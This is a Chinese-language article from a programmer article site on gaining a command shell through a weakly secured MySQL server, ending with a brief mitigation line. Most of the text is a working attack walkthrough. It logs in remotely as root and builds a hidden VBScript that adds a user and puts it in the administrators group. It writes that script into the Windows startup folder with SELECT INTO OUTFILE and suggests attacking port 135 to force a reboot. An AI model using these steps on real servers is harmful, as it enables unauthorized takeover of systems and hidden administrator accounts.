欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

通过MySQL系统得到cmdshell的方法与防范

程序员文章站 2022-03-29 14:48:03
这篇文章主要介绍了对于安全设置不是很好的服务器,通过mysql来获取cmdshell的方法,后面我们会给出防范措施。... 10-09-30...
1、连接到对方mysql 服务器
   mysql -u root -h 192.168.0.1

   mysql.exe 这个程序在你安装了mysql的的bin目录中

2、让我们来看看服务器中有些什么数据库

   mysql>show databases;

   mysql默认安装时会有mysql、test这两个数据库,如果你看到有其它的数据库那么就是用户自建的数据库。

   3、让我们进入数据库

   mysql>use test;

   我们将会进入test数据库中

   4、查看我们进入数据库中有些什么数据表

   mysql>show tables;

   默认的情况下,test中没有任何表的存在。

   以下为关键的部分

   5、在test数据库下创建一个新的表;

   mysql>create table a (cmd text);

   好了,我们创建了一个新的表,表名为a,表中只存放一个字段,字段名为cmd,为text文本。

   6、在表中插入内容

   mysql>insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

   mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user zjl317 zjl317 /add"",0) " );

   mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators zjl317 /add"",0) " );

   注意双引号和括号以及后面的"0"一定要输入!我们将用这三条命令来建立一个vbs的脚本程序!

   7、好了,现在我们来看看表a中有些什么

   mysql>select * from a;

   我们将会看到表中有三行数据,就是我们刚刚输入的内容,确认你输入的内容无误后,我们来到下一步

   8、输出表为一个vbs的脚本文件

   mysql>select * from a into outfile "c:\docume~1\alluse~1\「开始」菜单\程序\启动\a.vbs";

   我们把我们表中的内容输入到启动组中,是一个vbs的脚本文件!注意""符号。

   9、看到这大家肯定知道了,就是利用mysql输出一个可执行的文件而已。为什么不用bat呢,因为启动运行时会有明显的dos窗口出来,而用vbs脚本则可以完全隐藏窗口且不会有错误提示!本来,应该还有一句完成脚本后自动删除此脚本的,但是中文目录实在无法处理,只有作罢!好了,找个工具攻击135让服务器重启吧,几分钟以后你就是管理员了。

防范:一般来说可以通过限制mysql的运行账户权限,限制mysql运行账户的一些写入文件权限,例如(vbs,vba,bat,cmd等格式的后缀名文件。) 大家经常使用mcafee来实现,强烈推荐,更多软件可以参考